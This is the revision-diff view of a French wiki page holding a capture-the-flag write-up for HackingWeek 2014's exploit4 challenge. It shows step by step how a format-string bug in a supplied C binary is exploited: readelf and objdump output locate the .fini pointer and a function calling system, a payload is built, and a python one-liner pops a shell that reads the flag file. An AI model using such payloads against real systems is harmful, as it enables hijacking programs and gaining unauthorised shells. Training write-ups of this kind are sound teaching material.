Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
hackingweek_2014:exploit:exploit4 [2014/03/03 09:51] miaouPlop |
hackingweek_2014:exploit:exploit4 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
Ici, l'épreuve est simple. Une fois de plus, un binaire nous est donné avec son code C associé. | Ici, l'épreuve est simple. Une fois de plus, un binaire nous est donné avec son code C associé. | ||
- | Source : | ||
<code C> | <code C> | ||
#include <stdio.h> | #include <stdio.h> | ||
Ligne 25: | Ligne 24: | ||
On s'aperçoit alors très vite qu'un Format String est présent.\\ | On s'aperçoit alors très vite qu'un Format String est présent.\\ | ||
- | En effet, la fonction //printf// est utilisée sans formateur. On peut donc s'en servir pour obtenir les informations que nous voulons.\\ | + | En effet, la fonction //printf// est utilisée sans formateur. On peut donc s'en servir pour obtenir les informations que nous voulons et réécrire à n'importe quel endroit.\\ |
Étant donné que c'est un cas d'école, je vous laisse le soin d'aller vous renseigner vous-même sur le format string si vous ne connaissez pas (par ex. en lisant ce tuto : http://wiki.zenk-security.com/doku.php?id=failles_app:format_string). | Étant donné que c'est un cas d'école, je vous laisse le soin d'aller vous renseigner vous-même sur le format string si vous ne connaissez pas (par ex. en lisant ce tuto : http://wiki.zenk-security.com/doku.php?id=failles_app:format_string). | ||
- | Ici, je vous propose d'exploiter le pointeur qui mène vers la section //.fini// (on pourrait sans doute exploiter celui qui mène vers la fonction exit aussi, je n'ai pas trop regardé) et de le remplacer par l'adresse de la fonction //bar//. | + | Ici, je vous propose d'exploiter le pointeur qui mène vers la section //.fini// (http://l4u-00.jinr.ru/usoft/WWW/www_debian.org/Documentation/elf/node3.html, on pourrait sans doute exploiter celui qui mène vers la fonction exit aussi mais je n'ai pas trop regardé) et de le remplacer par l'adresse de la fonction //bar//. Cette section contient le code qui sera responsable de "terminer" l'application. |
- | Pour cela, nous allons d'abord faire afficher l'adresse des sections grâce à readelf : | + | Pour cela, nous allons d'abord faire afficher l'adresse des sections grâce à //readelf// : |
<code> | <code> | ||
$ readelf -S vulnerable | $ readelf -S vulnerable | ||
Ligne 40: | Ligne 39: | ||
</code> | </code> | ||
- | L'adresse de notre //.fini// est donc 0x080485c4. Il nous faut maintenant trouver l'adresse du pointeur à réécrire. Nous allons donc simplement désassembler les sections grâce à objdump : | + | L'adresse de notre //.fini// est donc 0x080485c4. Il nous faut maintenant trouver l'adresse du pointeur à réécrire. Nous allons donc simplement désassembler les sections grâce à //objdump//. Nous savons (http://www.shrubbery.net/solaris9ab/SUNWdev/LLM/p14.html) que cette section est créée par le //link-editor// au moment où un objet dynamique est créé. Nous la retrouverons donc dans la section //.dynamic// de notre binaire : |
<code> | <code> | ||
$ objdump -s vulnerable | $ objdump -s vulnerable | ||
... | ... | ||
- | 8049724 01000000 01000000 0c000000 34830408 ............4... | + | Contenu de la section .dynamic: |
- | 8049734 0d000000 c4850408 19000000 18970408 ................ <--- on retrouve bien notre adresse à 8049738 | + | 8049724 01000000 01000000 0c000000 34830408 ............4... |
- | 8049744 1b000000 04000000 1a000000 1c970408 ................ | + | 8049734 0d000000 c4850408 19000000 18970408 ................ <--- on retrouve bien notre adresse à 8049738 |
- | 8049754 1c000000 04000000 f5feff6f 8c810408 ...........o.... | + | 8049744 1b000000 04000000 1a000000 1c970408 ................ |
+ | 8049754 1c000000 04000000 f5feff6f 8c810408 ...........o.... | ||
+ | 8049764 05000000 50820408 06000000 b0810408 ....P........... | ||
+ | 8049774 0a000000 65000000 0b000000 10000000 ....e........... | ||
+ | 8049784 15000000 00000000 03000000 10980408 ................ | ||
+ | 8049794 02000000 38000000 14000000 11000000 ....8........... | ||
+ | 80497a4 17000000 fc820408 11000000 ec820408 ................ | ||
+ | 80497b4 12000000 10000000 13000000 08000000 ................ | ||
+ | 80497c4 feffff6f cc820408 ffffff6f 01000000 ...o.......o.... | ||
+ | 80497d4 f0ffff6f b6820408 00000000 00000000 ...o............ | ||
+ | 80497e4 00000000 00000000 00000000 00000000 ................ | ||
+ | 80497f4 00000000 00000000 00000000 00000000 ................ | ||
+ | 8049804 00000000 00000000 ........ | ||
... | ... | ||
</code> | </code> | ||
- | On retrouver bien notre adresse (en little-endian) à 0x08049738. C'est donc ce pointeur qu'il va falloir que l'on réécrive avec l'adresse de notre fonction //bar//. | + | On retrouve assez rapidement notre adresse (en little-endian) à 0x08049738. C'est donc ce pointeur qu'il va falloir que l'on réécrive avec l'adresse de notre fonction //bar//. |
- | Pour retrouver cette adresse, on pense au départ à un simple objdump. Seulement, on s'aperçoit rapidement que le code est dans la section //.text//. Nous allons donc utiliser //grep// pour repérer rapidement notre fonction et nous éviter de chercher dans toute la section notre fonction. Pour cela, nous savons qu'un appel à //system// est fait. Nous allons donc utiliser //grep// sur ce mot et faire afficher les 4 lignes avant et après cette valeur pour retrouver notre fonction : | + | Pour retrouver cette adresse, on pense au départ à un simple //objdump//. Seulement, on s'aperçoit rapidement que le code est dans la section //.text//. Nous allons donc utiliser //grep// pour repérer rapidement notre fonction et nous éviter de chercher dans toute la section //.text// notre fonction. Pour cela, nous savons qu'un appel à //system// est fait. Nous allons donc utiliser //grep// sur ce mot et faire afficher les 4 lignes avant et après cette valeur pour retrouver notre fonction : |
<code> | <code> | ||
$ objdump -D -M intel vulnerable | grep -B 4 -A 4 system | $ objdump -D -M intel vulnerable | grep -B 4 -A 4 system | ||
Ligne 66: | Ligne 77: | ||
-- | -- | ||
- | 80484dd: 55 push ebp <-- début de foo | + | 80484dd: 55 push ebp <-- début de bar |
80484de: 89 e5 mov ebp,esp | 80484de: 89 e5 mov ebp,esp | ||
80484e0: 83 ec 18 sub esp,0x18 | 80484e0: 83 ec 18 sub esp,0x18 | ||
Ligne 72: | Ligne 83: | ||
80484ea: e8 b1 fe ff ff call 80483a0 <system@plt> | 80484ea: e8 b1 fe ff ff call 80483a0 <system@plt> | ||
80484ef: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 | 80484ef: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 | ||
- | 80484f6: e8 85 fe ff ff call 8048380 <_exit@plt> <-- fin de foo | + | 80484f6: e8 85 fe ff ff call 8048380 <_exit@plt> <-- fin de bar |
80484fb: 55 push ebp | 80484fb: 55 push ebp | ||
80484fc: 89 e5 mov ebp,esp | 80484fc: 89 e5 mov ebp,esp | ||
Ligne 79: | Ligne 90: | ||
L'adresse à donner est donc 0x080484dd. | L'adresse à donner est donc 0x080484dd. | ||
- | Nous allons maintenant utiliser la formule donnée dans Gray Hat Python pour construire notre payload (cf. tableau page 232). | + | Nous allons maintenant utiliser la formule donnée dans Gray Hat Hacking 3rd Edition pour construire notre payload (cf. tableau page 232). |
- | On découpe donc notre adresse en deux parties : 0804 qui constituera la partie "high-order bytes" (HOB) et 84dd la partie "low-order bytes" (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr = l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse). | + | On découpe donc notre adresse en deux parties : 0804 qui constituera la partie "high-order bytes" (HOB) et 84dd la partie "low-order bytes" (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr est l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse). |
<code> | <code> | ||
$ ./vulnerable AAAA_%x_%x_%x_%x | $ ./vulnerable AAAA_%x_%x_%x_%x | ||
Ligne 90: | Ligne 101: | ||
L'offset sera donc de 4. On obtient donc la payload suivante : "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn". Nous n'avons plus qu'à lancer notre exploit : | L'offset sera donc de 4. On obtient donc la payload suivante : "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn". Nous n'avons plus qu'à lancer notre exploit : | ||
<code> | <code> | ||
- | $ python -c 'print ":\x97\x04\x088\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable | + | $ python -c 'print "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable |
sh-4.2$ cat /home/exploit-4/.secret | sh-4.2$ cat /home/exploit-4/.secret | ||
paevoo5Ool | paevoo5Ool | ||
</code> | </code> | ||
- | Le flag est donc "paevoo5Ool". | + | Le flag est "paevoo5Ool". |